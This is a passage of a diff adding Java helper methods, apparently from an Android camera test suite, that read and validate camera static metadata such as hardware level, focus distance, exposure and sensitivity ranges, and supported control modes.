+    public boolean isHardwareLevelLimited() {
+        return getHardwareLevelChecked() == CameraMetadata.INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED;
+    }
+
+    /**
+     * Whether or not the hardware level reported by {@code android.info.supportedHardwareLevel}
+     * is at least {@link CameraMetadata#INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED}.
+     *
+     * <p>If the camera device is incorrectly reporting the hardwareLevel, this
+     * will always return {@code false}.</p>
+     *
+     * @return
+     *          {@code true} if the device is {@code LIMITED} or {@code FULL},
+     *          {@code false} otherwise (i.e. LEGACY).
+     */
+    public boolean isHardwareLevelAtLeastLimited() {
+        return isHardwareLevelAtLeast(CameraMetadata.INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED);
+    }
+
+    /**
+     * Get the maximum number of partial result a request can expect
+     *
+     * @return 1 if partial result is not supported.
+     *         a integer value larger than 1 if partial result is supported.
+     */
+    public int getPartialResultCount() {
+        Integer value = mCharacteristics.get(CameraCharacteristics.REQUEST_PARTIAL_RESULT_COUNT);
+        if (value == null) {
+            // Optional key. Default value is 1 if key is missing.
+            return 1;
+        }
+        return value;
+    }
+
+    /**
+     * Get the exposure time value and clamp to the range if needed.
+     *
+     * @param exposure Input exposure time value to check.
+     * @return Exposure value in the legal range.
+     */
+    public long getExposureClampToRange(long exposure) {
+        long minExposure = getExposureMinimumOrDefault(Long.MAX_VALUE);
+        long maxExposure = getExposureMaximumOrDefault(Long.MIN_VALUE);
+        if (minExposure > SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST) {
+            failKeyCheck(CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE,
+                    String.format(
+                    "Min value %d is too large, set to maximal legal value %d",
+                    minExposure, SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST));
+            minExposure = SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST;
+        }
+        if (maxExposure < SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST) {
+            failKeyCheck(CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE,
+                    String.format(
+                    "Max value %d is too small, set to minimal legal value %d",
+                    maxExposure, SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST));
+            maxExposure = SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST;
+        }
+
+        return Math.max(minExposure, Math.min(maxExposure, exposure));
+    }
+
+    /**
+     * Check if the camera device support focuser.
+     *
+     * @return true if camera device support focuser, false otherwise.
+     */
+    public boolean hasFocuser() {
+        if (areKeysAvailable(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)) {
+            // LEGACY devices don't have lens.info.minimumFocusDistance, so guard this query
+            return (getMinimumFocusDistanceChecked() > 0);
+        } else {
+            // Check available AF modes
+            int[] availableAfModes = mCharacteristics.get(
+                    CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES);
+
+            if (availableAfModes == null) {
+                return false;
+            }
+
+            // Assume that if we have an AF mode which doesn't ignore AF trigger, we have a focuser
+            boolean hasFocuser = false;
+            loop: for (int mode : availableAfModes) {
+                switch (mode) {
+                    case CameraMetadata.CONTROL_AF_MODE_AUTO:
+                    case CameraMetadata.CONTROL_AF_MODE_CONTINUOUS_PICTURE:
+                    case CameraMetadata.CONTROL_AF_MODE_CONTINUOUS_VIDEO:
+                    case CameraMetadata.CONTROL_AF_MODE_MACRO:
+                        hasFocuser = true;
+                        break loop;
+                }
+            }
+
+            return hasFocuser;
+        }
+    }
+
+    /**
+     * Check if the camera device has flash unit.
+     * @return true if flash unit is available, false otherwise.
+     */
+    public boolean hasFlash() {
+        return getFlashInfoChecked();
+    }
+
+    /**
+     * Get minimum focus distance.
+     *
+     * @return minimum focus distance, 0 if minimum focus distance is invalid.
+     */
+    public float getMinimumFocusDistanceChecked() {
+        Key<Float> key = CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE;
+        Float minFocusDistance;
+
+        /**
+         * android.lens.info.minimumFocusDistance - required for FULL and MANUAL_SENSOR-capable
+         *   devices; optional for all other devices.
+         */
+        if (isHardwareLevelAtLeastFull() || isCapabilitySupported(
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_MANUAL_SENSOR)) {
+            minFocusDistance = getValueFromKeyNonNull(key);
+        } else {
+            minFocusDistance = mCharacteristics.get(key);
+        }
+
+        if (minFocusDistance == null) {
+            return 0.0f;
+        }
+
+        checkTrueForKey(key, " minFocusDistance value shouldn't be negative",
+                minFocusDistance >= 0);
+        if (minFocusDistance < 0) {
+            minFocusDistance = 0.0f;
+        }
+
+        return minFocusDistance;
+    }
+
+    /**
+     * Get focusDistanceCalibration.
+     *
+     * @return focusDistanceCalibration, UNCALIBRATED if value is invalid.
+     */
+    public int getFocusDistanceCalibrationChecked() {
+        Key<Integer> key = CameraCharacteristics.LENS_INFO_FOCUS_DISTANCE_CALIBRATION;
+        Integer calibration = getValueFromKeyNonNull(key);
+
+        if (calibration == null) {
+            return CameraMetadata.LENS_INFO_FOCUS_DISTANCE_CALIBRATION_UNCALIBRATED;
+        }
+
+        checkTrueForKey(key, " value is out of range" ,
+                calibration >= CameraMetadata.LENS_INFO_FOCUS_DISTANCE_CALIBRATION_UNCALIBRATED &&
+                calibration <= CameraMetadata.LENS_INFO_FOCUS_DISTANCE_CALIBRATION_CALIBRATED);
+
+        return calibration;
+    }
+
+    public static String getAeModeName(int aeMode) {
+        return (aeMode >= AE_MODE_NAMES.length) ? String.format("VENDOR_AE_MODE_%d", aeMode) :
+                AE_MODE_NAMES[aeMode];
+    }
+
+    public static String getAfModeName(int afMode) {
+        return (afMode >= AF_MODE_NAMES.length) ? String.format("VENDOR_AF_MODE_%d", afMode) :
+                AF_MODE_NAMES[afMode];
+    }
+
+    /**
+     * Get max AE regions and do sanity check.
+     *
+     * @return AE max regions supported by the camera device
+     */
+    public int getAeMaxRegionsChecked() {
+        Integer regionCount = mCharacteristics.get(CameraCharacteristics.CONTROL_MAX_REGIONS_AE);
+        if (regionCount == null) {
+            return 0;
+        }
+        return regionCount;
+    }
+
+    /**
+     * Get max AWB regions and do sanity check.
+     *
+     * @return AWB max regions supported by the camera device
+     */
+    public int getAwbMaxRegionsChecked() {
+        Integer regionCount = mCharacteristics.get(CameraCharacteristics.CONTROL_MAX_REGIONS_AWB);
+        if (regionCount == null) {
+            return 0;
+        }
+        return regionCount;
+    }
+
+    /**
+     * Get max AF regions and do sanity check.
+     *
+     * @return AF max regions supported by the camera device
+     */
+    public int getAfMaxRegionsChecked() {
+        Integer regionCount = mCharacteristics.get(CameraCharacteristics.CONTROL_MAX_REGIONS_AF);
+        if (regionCount == null) {
+            return 0;
+        }
+        return regionCount;
+    }
+    /**
+     * Get the available anti-banding modes.
+     *
+     * @return The array contains available anti-banding modes.
+     */
+    public int[] getAeAvailableAntiBandingModesChecked() {
+        Key<int[]> key = CameraCharacteristics.CONTROL_AE_AVAILABLE_ANTIBANDING_MODES;
+        int[] modes = getValueFromKeyNonNull(key);
+
+        boolean foundAuto = false;
+        boolean found50Hz = false;
+        boolean found60Hz = false;
+        for (int mode : modes) {
+            checkTrueForKey(key, "mode value " + mode + " is out if range",
+                    mode >= CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_OFF ||
+                    mode <= CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_AUTO);
+            if (mode == CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_AUTO) {
+                foundAuto = true;
+            } else if (mode == CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_50HZ) {
+                found50Hz = true;
+            } else if (mode == CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_60HZ) {
+                found60Hz = true;
+            }
+        }
+        // Must contain AUTO mode or one of 50/60Hz mode.
+        checkTrueForKey(key, "Either AUTO mode or both 50HZ/60HZ mode should present",
+                foundAuto || (found50Hz && found60Hz));
+
+        return modes;
+    }
+
+    /**
+     * Check if the antibanding OFF mode is supported.
+     *
+     * @return true if antibanding OFF mode is supported, false otherwise.
+     */
+    public boolean isAntiBandingOffModeSupported() {
+        List<Integer> antiBandingModes =
+                Arrays.asList(CameraTestUtils.toObject(getAeAvailableAntiBandingModesChecked()));
+
+        return antiBandingModes.contains(CameraMetadata.CONTROL_AE_ANTIBANDING_MODE_OFF);
+    }
+
+    public Boolean getFlashInfoChecked() {
+        Key<Boolean> key = CameraCharacteristics.FLASH_INFO_AVAILABLE;
+        Boolean hasFlash = getValueFromKeyNonNull(key);
+
+        // In case the failOnKey only gives warning.
+        if (hasFlash == null) {
+            return false;
+        }
+
+        return hasFlash;
+    }
+
+    public int[] getAvailableTestPatternModesChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.SENSOR_AVAILABLE_TEST_PATTERN_MODES;
+        int[] modes = getValueFromKeyNonNull(key);
+
+        if (modes == null) {
+            return new int[0];
+        }
+
+        int expectValue = CameraCharacteristics.SENSOR_TEST_PATTERN_MODE_OFF;
+        Integer[] boxedModes = CameraTestUtils.toObject(modes);
+        checkTrueForKey(key, " value must contain OFF mode",
+                Arrays.asList(boxedModes).contains(expectValue));
+
+        return modes;
+    }
+
+    /**
+     * Get available thumbnail sizes and do the sanity check.
+     *
+     * @return The array of available thumbnail sizes
+     */
+    public Size[] getAvailableThumbnailSizesChecked() {
+        Key<Size[]> key = CameraCharacteristics.JPEG_AVAILABLE_THUMBNAIL_SIZES;
+        Size[] sizes = getValueFromKeyNonNull(key);
+        final List<Size> sizeList = Arrays.asList(sizes);
+
+        // Size must contain (0, 0).
+        checkTrueForKey(key, "size should contain (0, 0)", sizeList.contains(new Size(0, 0)));
+
+        // Each size must be distinct.
+        checkElementDistinct(key, sizeList);
+
+        // Must be sorted in ascending order by area, by width if areas are same.
+        List<Size> orderedSizes =
+                CameraTestUtils.getAscendingOrderSizes(sizeList, /*ascending*/true);
+        checkTrueForKey(key, "Sizes should be in ascending order: Original " + sizeList.toString()
+                + ", Expected " + orderedSizes.toString(), orderedSizes.equals(sizeList));
+
+        // TODO: Aspect ratio match, need wait for android.scaler.availableStreamConfigurations
+        // implementation see b/12958122.
+
+        return sizes;
+    }
+
+    /**
+     * Get available focal lengths and do the sanity check.
+     *
+     * @return The array of available focal lengths
+     */
+    public float[] getAvailableFocalLengthsChecked() {
+        Key<float[]> key = CameraCharacteristics.LENS_INFO_AVAILABLE_FOCAL_LENGTHS;
+        float[] focalLengths = getValueFromKeyNonNull(key);
+
+        checkTrueForKey(key, "Array should contain at least one element", focalLengths.length >= 1);
+
+        for (int i = 0; i < focalLengths.length; i++) {
+            checkTrueForKey(key,
+                    String.format("focalLength[%d] %f should be positive.", i, focalLengths[i]),
+                    focalLengths[i] > 0);
+        }
+        checkElementDistinct(key, Arrays.asList(CameraTestUtils.toObject(focalLengths)));
+
+        return focalLengths;
+    }
+
+    /**
+     * Get available apertures and do the sanity check.
+     *
+     * @return The non-null array of available apertures
+     */
+    public float[] getAvailableAperturesChecked() {
+        Key<float[]> key = CameraCharacteristics.LENS_INFO_AVAILABLE_APERTURES;
+        float[] apertures = getValueFromKeyNonNull(key);
+
+        checkTrueForKey(key, "Array should contain at least one element", apertures.length >= 1);
+
+        for (int i = 0; i < apertures.length; i++) {
+            checkTrueForKey(key,
+                    String.format("apertures[%d] %f should be positive.", i, apertures[i]),
+                    apertures[i] > 0);
+        }
+        checkElementDistinct(key, Arrays.asList(CameraTestUtils.toObject(apertures)));
+
+        return apertures;
+    }
+
+    /**
+     * Get and check the available hot pixel map modes.
+     *
+     * @return the available hot pixel map modes
+     */
+    public int[] getAvailableHotPixelModesChecked() {
+        Key<int[]> key = CameraCharacteristics.HOT_PIXEL_AVAILABLE_HOT_PIXEL_MODES;
+        int[] modes = getValueFromKeyNonNull(key);
+
+        if (modes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+        if (isHardwareLevelAtLeastFull()) {
+            checkTrueForKey(key, "Full-capability camera devices must support FAST mode",
+                    modeList.contains(CameraMetadata.HOT_PIXEL_MODE_FAST));
+        }
+
+        if (isHardwareLevelAtLeastLimited()) {
+            // FAST and HIGH_QUALITY mode must be both present or both not present
+            List<Integer> coupledModes = Arrays.asList(new Integer[] {
+                    CameraMetadata.HOT_PIXEL_MODE_FAST,
+                    CameraMetadata.HOT_PIXEL_MODE_HIGH_QUALITY
+            });
+            checkTrueForKey(
+                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
+                    containsAllOrNone(modeList, coupledModes));
+        }
+        checkElementDistinct(key, modeList);
+        checkArrayValuesInRange(key, modes, CameraMetadata.HOT_PIXEL_MODE_OFF,
+                CameraMetadata.HOT_PIXEL_MODE_HIGH_QUALITY);
+
+        return modes;
+    }
+
+    /**
+     * Get and check available face detection modes.
+     *
+     * @return The non-null array of available face detection modes
+     */
+    public int[] getAvailableFaceDetectModesChecked() {
+        Key<int[]> key = CameraCharacteristics.STATISTICS_INFO_AVAILABLE_FACE_DETECT_MODES;
+        int[] modes = getValueFromKeyNonNull(key);
+
+        if (modes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+        checkTrueForKey(key, "Array should contain OFF mode",
+                modeList.contains(CameraMetadata.STATISTICS_FACE_DETECT_MODE_OFF));
+        checkElementDistinct(key, modeList);
+        checkArrayValuesInRange(key, modes, CameraMetadata.STATISTICS_FACE_DETECT_MODE_OFF,
+                CameraMetadata.STATISTICS_FACE_DETECT_MODE_FULL);
+
+        return modes;
+    }
+
+    /**
+     * Get and check max face detected count.
+     *
+     * @return max number of faces that can be detected
+     */
+    public int getMaxFaceCountChecked() {
+        Key<Integer> key = CameraCharacteristics.STATISTICS_INFO_MAX_FACE_COUNT;
+        Integer count = getValueFromKeyNonNull(key);
+
+        if (count == null) {
+            return 0;
+        }
+
+        List<Integer> faceDetectModes =
+                Arrays.asList(CameraTestUtils.toObject(getAvailableFaceDetectModesChecked()));
+        if (faceDetectModes.contains(CameraMetadata.STATISTICS_FACE_DETECT_MODE_OFF) &&
+                faceDetectModes.size() == 1) {
+            checkTrueForKey(key, " value must be 0 if only OFF mode is supported in "
+                    + "availableFaceDetectionModes", count == 0);
+        } else {
+            int maxFaceCountAtLeast = STATISTICS_INFO_MAX_FACE_COUNT_MIN_AT_LEAST;
+
+            // Legacy mode may support fewer than STATISTICS_INFO_MAX_FACE_COUNT_MIN_AT_LEAST faces.
+            if (isHardwareLevelLegacy()) {
+                maxFaceCountAtLeast = 1;
+            }
+            checkTrueForKey(key, " value must be no less than " + maxFaceCountAtLeast + " if SIMPLE"
+                    + "or FULL is also supported in availableFaceDetectionModes",
+                    count >= maxFaceCountAtLeast);
+        }
+
+        return count;
+    }
+
+    /**
+     * Get and check the available tone map modes.
+     *
+     * @return the available tone map modes
+     */
+    public int[] getAvailableToneMapModesChecked() {
+        Key<int[]> key = CameraCharacteristics.TONEMAP_AVAILABLE_TONE_MAP_MODES;
+        int[] modes = mCharacteristics.get(key);
+
+        if (modes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+        checkTrueForKey(key, " Camera devices must always support FAST mode",
+                modeList.contains(CameraMetadata.TONEMAP_MODE_FAST));
+        // Qualification check for MANUAL_POSTPROCESSING capability is in
+        // StaticMetadataTest#testCapabilities
+
+        if (isHardwareLevelAtLeastLimited()) {
+            // FAST and HIGH_QUALITY mode must be both present or both not present
+            List<Integer> coupledModes = Arrays.asList(new Integer[] {
+                    CameraMetadata.TONEMAP_MODE_FAST,
+                    CameraMetadata.TONEMAP_MODE_HIGH_QUALITY
+            });
+            checkTrueForKey(
+                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
+                    containsAllOrNone(modeList, coupledModes));
+        }
+        checkElementDistinct(key, modeList);
+        checkArrayValuesInRange(key, modes, CameraMetadata.TONEMAP_MODE_CONTRAST_CURVE,
+                CameraMetadata.TONEMAP_MODE_PRESET_CURVE);
+
+        return modes;
+    }
+
+    /**
+     * Get and check max tonemap curve point.
+     *
+     * @return Max tonemap curve points.
+     */
+    public int getMaxTonemapCurvePointChecked() {
+        Key<Integer> key = CameraCharacteristics.TONEMAP_MAX_CURVE_POINTS;
+        Integer count = getValueFromKeyNonNull(key);
+        List<Integer> modeList =
+                Arrays.asList(CameraTestUtils.toObject(getAvailableToneMapModesChecked()));
+        boolean tonemapCurveOutputSupported =
+                modeList.contains(CameraMetadata.TONEMAP_MODE_CONTRAST_CURVE) ||
+                modeList.contains(CameraMetadata.TONEMAP_MODE_GAMMA_VALUE) ||
+                modeList.contains(CameraMetadata.TONEMAP_MODE_PRESET_CURVE);
+
+        if (count == null) {
+            if (tonemapCurveOutputSupported) {
+                Assert.fail("Tonemap curve output is supported but MAX_CURVE_POINTS is null");
+            }
+            return 0;
+        }
+
+        if (tonemapCurveOutputSupported) {
+            checkTrueForKey(key, "Tonemap curve output supported camera device must support "
+                    + "maxCurvePoints >= " + TONEMAP_MAX_CURVE_POINTS_AT_LEAST,
+                    count >= TONEMAP_MAX_CURVE_POINTS_AT_LEAST);
+        }
+
+        return count;
+    }
+
+    /**
+     * Get and check pixel array size.
+     */
+    public Size getPixelArraySizeChecked() {
+        Key<Size> key = CameraCharacteristics.SENSOR_INFO_PIXEL_ARRAY_SIZE;
+        Size pixelArray = getValueFromKeyNonNull(key);
+        if (pixelArray == null) {
+            return new Size(0, 0);
+        }
+
+        return pixelArray;
+    }
+
+    /**
+     * Get and check pre-correction active array size.
+     */
+    public Rect getPreCorrectedActiveArraySizeChecked() {
+        Key<Rect> key = CameraCharacteristics.SENSOR_INFO_PRE_CORRECTION_ACTIVE_ARRAY_SIZE;
+        Rect activeArray = getValueFromKeyNonNull(key);
+
+        if (activeArray == null) {
+            return new Rect(0, 0, 0, 0);
+        }
+
+        Size pixelArraySize = getPixelArraySizeChecked();
+        checkTrueForKey(key, "values left/top are invalid", activeArray.left >= 0 && activeArray.top >= 0);
+        checkTrueForKey(key, "values width/height are invalid",
+                activeArray.width() <= pixelArraySize.getWidth() &&
+                activeArray.height() <= pixelArraySize.getHeight());
+
+        return activeArray;
+    }
+
+    /**
+     * Get and check active array size.
+     */
+    public Rect getActiveArraySizeChecked() {
+        Key<Rect> key = CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE;
+        Rect activeArray = getValueFromKeyNonNull(key);
+
+        if (activeArray == null) {
+            return new Rect(0, 0, 0, 0);
+        }
+
+        Size pixelArraySize = getPixelArraySizeChecked();
+        checkTrueForKey(key, "values left/top are invalid", activeArray.left >= 0 && activeArray.top >= 0);
+        checkTrueForKey(key, "values width/height are invalid",
+                activeArray.width() <= pixelArraySize.getWidth() &&
+                activeArray.height() <= pixelArraySize.getHeight());
+
+        return activeArray;
+    }
+
+    /**
+     * Get the dimensions to use for RAW16 buffers.
+     */
+    public Size getRawDimensChecked() throws Exception {
+        Size[] targetCaptureSizes = getAvailableSizesForFormatChecked(ImageFormat.RAW_SENSOR,
+                        StaticMetadata.StreamDirection.Output);
+        Assert.assertTrue("No capture sizes available for RAW format!",
+                targetCaptureSizes.length != 0);
+        Rect activeArray = getPreCorrectedActiveArraySizeChecked();
+        Size preCorrectionActiveArraySize =
+                new Size(activeArray.width(), activeArray.height());
+        Size pixelArraySize = getPixelArraySizeChecked();
+        Assert.assertTrue("Missing pre-correction active array size", activeArray.width() > 0 &&
+                activeArray.height() > 0);
+        Assert.assertTrue("Missing pixel array size", pixelArraySize.getWidth() > 0 &&
+                pixelArraySize.getHeight() > 0);
+        Size[] allowedArraySizes = new Size[] { preCorrectionActiveArraySize,
+                pixelArraySize };
+        return assertArrayContainsAnyOf("Available sizes for RAW format" +
+                " must include either the pre-corrected active array size, or the full " +
+                "pixel array size", targetCaptureSizes, allowedArraySizes);
+    }
+
+    /**
+     * Get the sensitivity value and clamp to the range if needed.
+     *
+     * @param sensitivity Input sensitivity value to check.
+     * @return Sensitivity value in legal range.
+     */
+    public int getSensitivityClampToRange(int sensitivity) {
+        int minSensitivity = getSensitivityMinimumOrDefault(Integer.MAX_VALUE);
+        int maxSensitivity = getSensitivityMaximumOrDefault(Integer.MIN_VALUE);
+        if (minSensitivity > SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST) {
+            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
+                    String.format(
+                    "Min value %d is too large, set to maximal legal value %d",
+                    minSensitivity, SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST));
+            minSensitivity = SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST;
+        }
+        if (maxSensitivity < SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST) {
+            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
+                    String.format(
+                    "Max value %d is too small, set to minimal legal value %d",
+                    maxSensitivity, SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST));
+            maxSensitivity = SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST;
+        }
+
+        return Math.max(minSensitivity, Math.min(maxSensitivity, sensitivity));
+    }
+
+    /**
+     * Get maxAnalogSensitivity for a camera device.
+     * <p>
+     * This is only available for FULL capability device, return 0 if it is unavailable.
+     * </p>
+     *
+     * @return maxAnalogSensitivity, 0 if it is not available.
+     */
+    public int getMaxAnalogSensitivityChecked() {
+
+        Key<Integer> key = CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY;
+        Integer maxAnalogsensitivity = mCharacteristics.get(key);
+        if (maxAnalogsensitivity == null) {
+            if (isHardwareLevelAtLeastFull()) {
+                Assert.fail("Full device should report max analog sensitivity");
+            }
+            return 0;
+        }
+
+        int minSensitivity = getSensitivityMinimumOrDefault();
+        int maxSensitivity = getSensitivityMaximumOrDefault();
+        checkTrueForKey(key, " Max analog sensitivity " + maxAnalogsensitivity
+                + " should be no larger than max sensitivity " + maxSensitivity,
+                maxAnalogsensitivity <= maxSensitivity);
+        checkTrueForKey(key, " Max analog sensitivity " + maxAnalogsensitivity
+                + " should be larger than min sensitivity " + maxSensitivity,
+                maxAnalogsensitivity > minSensitivity);
+
+        return maxAnalogsensitivity;
+    }
+
+    /**
+     * Get hyperfocalDistance and do the sanity check.
+     * <p>
+     * Note that, this tag is optional, will return -1 if this tag is not
+     * available.
+     * </p>
+     *
+     * @return hyperfocalDistance of this device, -1 if this tag is not available.
+     */
+    public float getHyperfocalDistanceChecked() {
+        Key<Float> key = CameraCharacteristics.LENS_INFO_HYPERFOCAL_DISTANCE;
+        Float hyperfocalDistance = getValueFromKeyNonNull(key);
+        if (hyperfocalDistance == null) {
+            return -1;
+        }
+
+        if (hasFocuser()) {
+            float minFocusDistance = getMinimumFocusDistanceChecked();
+            checkTrueForKey(key, String.format(" hyperfocal distance %f should be in the range of"
+                    + " should be in the range of (%f, %f]", hyperfocalDistance, 0.0f,
+                    minFocusDistance),
+                    hyperfocalDistance > 0 && hyperfocalDistance <= minFocusDistance);
+        }
+
+        return hyperfocalDistance;
+    }
+
+    /**
+     * Get the minimum value for a sensitivity range from android.sensor.info.sensitivityRange.
+     *
+     * <p>If the camera is incorrectly reporting values, log a warning and return
+     * the default value instead, which is the largest minimum value required to be supported
+     * by all camera devices.</p>
+     *
+     * @return The value reported by the camera device or the defaultValue otherwise.
+     */
+    public int getSensitivityMinimumOrDefault() {
+        return getSensitivityMinimumOrDefault(SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST);
+    }
+
+    /**
+     * Get the minimum value for a sensitivity range from android.sensor.info.sensitivityRange.
+     *
+     * <p>If the camera is incorrectly reporting values, log a warning and return
+     * the default value instead.</p>
+     *
+     * @param defaultValue Value to return if no legal value is available
+     * @return The value reported by the camera device or the defaultValue otherwise.
+     */
+    public int getSensitivityMinimumOrDefault(int defaultValue) {
+        Range<Integer> range = getValueFromKeyNonNull(
+                CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
+        if (range == null) {
+            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
+                    "had no valid minimum value; using default of " + defaultValue);
+            return defaultValue;
+        }
+        return range.getLower();
+    }
+
+    /**
+     * Get the maximum value for a sensitivity range from android.sensor.info.sensitivityRange.
+     *
+     * <p>If the camera is incorrectly reporting values, log a warning and return
+     * the default value instead, which is the smallest maximum value required to be supported
+     * by all camera devices.</p>
+     *
+     * @return The value reported by the camera device or the defaultValue otherwise.
+     */
+    public int getSensitivityMaximumOrDefault() {
+        return getSensitivityMaximumOrDefault(SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST);
+    }
+
+    /**
+     * Get the maximum value for a sensitivity range from android.sensor.info.sensitivityRange.
+     *
+     * <p>If the camera is incorrectly reporting values, log a warning and return
+     * the default value instead.</p>
+     *
+     * @param defaultValue Value to return if no legal value is available
+     * @return The value reported by the camera device or the defaultValue otherwise.
+     */
+    public int getSensitivityMaximumOrDefault(int defaultValue) {
+        Range<Integer> range = getValueFromKeyNonNull(
+                CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
+        if (range == null) {
+            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
+                    "had no valid maximum value; using default of " + defaultValue);
+            return defaultValue;
+        }
+        return range.getUpper();
+    }
+
+    /**
+     * Get the minimum value for an exposure range from android.sensor.info.exposureTimeRange.
+     *
+     * <p>If the camera is incorrectly reporting values, log a warning and return
+     * the default value instead.</p>
+     *
+     * @param defaultValue Value to return if no legal value is available
+     * @return The value reported by the camera device or the defaultValue otherwise.
+     */
+    public long getExposureMinimumOrDefault(long defaultValue) {
+        Range<Long> range = getValueFromKeyNonNull(
+                CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE);
+        if (range == null) {
+            failKeyCheck(CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE,
+                    "had no valid minimum value; using default of " + defaultValue);
+            return defaultValue;
+        }
+        return range.getLower();
+    }
+
+    /**
+     * Get the minimum value for an exposure range from android.sensor.info.exposureTimeRange.
+     *
+     * <p>If the camera is incorrectly reporting values, log a warning and return
+     * the default value instead, which is the largest minimum value required to be supported
+     * by all camera devices.</p>
+     *
+     * @return The value reported by the camera device or the defaultValue otherwise.
+     */
+    public long getExposureMinimumOrDefault() {
+        return getExposureMinimumOrDefault(SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST);
+    }
+
+    /**
+     * Get the maximum value for an exposure range from android.sensor.info.exposureTimeRange.
+     *
+     * <p>If the camera is incorrectly reporting values, log a warning and return
+     * the default value instead.</p>
+     *
+     * @param defaultValue Value to return if no legal value is available
+     * @return The value reported by the camera device or the defaultValue otherwise.
+     */
+    public long getExposureMaximumOrDefault(long defaultValue) {
+        Range<Long> range = getValueFromKeyNonNull(
+                CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE);
+        if (range == null) {
+            failKeyCheck(CameraCharacteristics.SENSOR_INFO_EXPOSURE_TIME_RANGE,
+                    "had no valid maximum value; using default of " + defaultValue);
+            return defaultValue;
+        }
+        return range.getUpper();
+    }
+
+    /**
+     * Get the maximum value for an exposure range from android.sensor.info.exposureTimeRange.
+     *
+     * <p>If the camera is incorrectly reporting values, log a warning and return
+     * the default value instead, which is the smallest maximum value required to be supported
+     * by all camera devices.</p>
+     *
+     * @return The value reported by the camera device or the defaultValue otherwise.
+     */
+    public long getExposureMaximumOrDefault() {
+        return getExposureMaximumOrDefault(SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST);
+    }
+
+    /**
+     * get android.control.availableModes and do the sanity check.
+     *
+     * @return available control modes.
+     */
+    public int[] getAvailableControlModesChecked() {
+        Key<int[]> modesKey = CameraCharacteristics.CONTROL_AVAILABLE_MODES;
+        int[] modes = getValueFromKeyNonNull(modesKey);
+        if (modes == null) {
+            modes = new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+        checkTrueForKey(modesKey, "value is empty", !modeList.isEmpty());
+
+        // All camera device must support AUTO
+        checkTrueForKey(modesKey, "values " + modeList.toString() + " must contain AUTO mode",
+                modeList.contains(CameraMetadata.CONTROL_MODE_AUTO));
+
+        boolean isAeOffSupported =  Arrays.asList(
+                CameraTestUtils.toObject(getAeAvailableModesChecked())).contains(
+                        CameraMetadata.CONTROL_AE_MODE_OFF);
+        boolean isAfOffSupported =  Arrays.asList(
+                CameraTestUtils.toObject(getAfAvailableModesChecked())).contains(
+                        CameraMetadata.CONTROL_AF_MODE_OFF);
+        boolean isAwbOffSupported =  Arrays.asList(
+                CameraTestUtils.toObject(getAwbAvailableModesChecked())).contains(
+                        CameraMetadata.CONTROL_AWB_MODE_OFF);
+        if (isAeOffSupported && isAfOffSupported && isAwbOffSupported) {
+            // 3A OFF controls are supported, OFF mode must be supported here.
+            checkTrueForKey(modesKey, "values " + modeList.toString() + " must contain OFF mode",
+                    modeList.contains(CameraMetadata.CONTROL_MODE_OFF));
+        }
+
+        if (isSceneModeSupported()) {
+            checkTrueForKey(modesKey, "values " + modeList.toString() + " must contain"
+                    + " USE_SCENE_MODE",
+                    modeList.contains(CameraMetadata.CONTROL_MODE_USE_SCENE_MODE));
+        }
+
+        return modes;
+    }
+
+    public boolean isSceneModeSupported() {
+        List<Integer> availableSceneModes = Arrays.asList(
+                CameraTestUtils.toObject(getAvailableSceneModesChecked()));
+
+        if (availableSceneModes.isEmpty()) {
+            return false;
+        }
+
+        // If sceneMode is not supported, camera device will contain single entry: DISABLED.
+        return availableSceneModes.size() > 1 ||
